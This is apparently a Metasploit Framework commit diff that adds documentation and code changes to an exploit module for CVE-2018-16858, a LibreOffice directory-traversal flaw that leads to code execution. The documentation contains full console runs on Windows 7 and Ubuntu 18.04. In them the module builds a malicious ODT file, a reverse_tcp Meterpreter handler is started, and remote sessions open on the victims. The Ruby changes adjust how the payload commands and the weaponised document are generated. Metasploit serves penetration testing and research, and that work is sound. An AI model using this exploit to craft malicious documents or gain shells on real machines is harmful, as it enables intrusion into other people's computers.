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metasploit-framework
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added documentation and changes for module

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Shelby Pace 2019-04-15 08:26:11 -05:00
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70
documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md
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@ -1,8 +1,8 @@
## Description
This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.4.1` that enables remote code execution.
Note: `6.0.x` versions are vulnerable to the directory traversal attack, but are not exploitable by this module due to the
lack of ability to pass arguments.
This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.2.1` that enables remote code execution.
Note: `6.0.x` and `6.1.3.x` versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by
this module due to the lack of ability to pass arguments.
LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events
to them. A macro can be tied to a program event by including the script that contains the macro and the function
@ -32,10 +32,66 @@
## Scenarios
### Version of software and OS as applicable
### Tested on LibreOffice 6.1.2.1 running Windows 7
```
msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (179779 bytes) to 192.168.37.156
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500
meterpreter > getuid
Server username: WIN-MGMN7ND70I1\a_user
meterpreter > sysinfo
Computer : WIN-MGMN7ND70I1
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
```
### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04
```
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1
target => 1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.37.1
LHOST => 192.168.37.1
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (985320 bytes) to 192.168.37.174
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 192.168.37.174
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```

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modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
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@ -12,8 +12,20 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Placeholder',
'Name' => 'LibreOffice Macro Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them. A macro can be tied
to a program event by including the script that contains the macro and
the function name to be executed. Additionally, a directory traversal
vulnerability exists in the component that references the Python script
to be executed. This allows a program event to execute functions from Python
scripts relative to the path of the samples macros folder. The pydoc.py script
included with LibreOffice contains the tempfilepager function that passes
arguments to os.system, allowing RCE.
This module generates an ODT file with a mouse over event that
when triggered, will execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
@ -26,6 +38,8 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'CVE', '2018-16858' ],
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
@ -42,18 +56,17 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
'CmdStagerFlavor' => [ 'printf' ]
'CmdStagerFlavor' => 'printf'
}
]
],
'DisclosureDate' => "Oct 18, 2018",
'DefaultTarget' => 0
)
)
))
register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.fodt'])
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
])
end
@ -62,7 +75,6 @@ class MetasploitModule < Msf::Exploit::Remote
{
:remove_comspec => true,
:method => 'reflection',
:wrap_double_quotes => false,
:encode_final_payload => true
}
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
@ -70,13 +82,14 @@ class MetasploitModule < Msf::Exploit::Remote
end
def gen_linux_cmd
@cmd = generate_cmdstager
@cmd = generate_cmdstager.first
@cmd << ' &amp;&amp; echo'
end
def gen_file(path)
text_content = Rex::Text.rand_text_alpha(10..15)
# file from Alex Inführ's PoC post referenced above
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
libre_file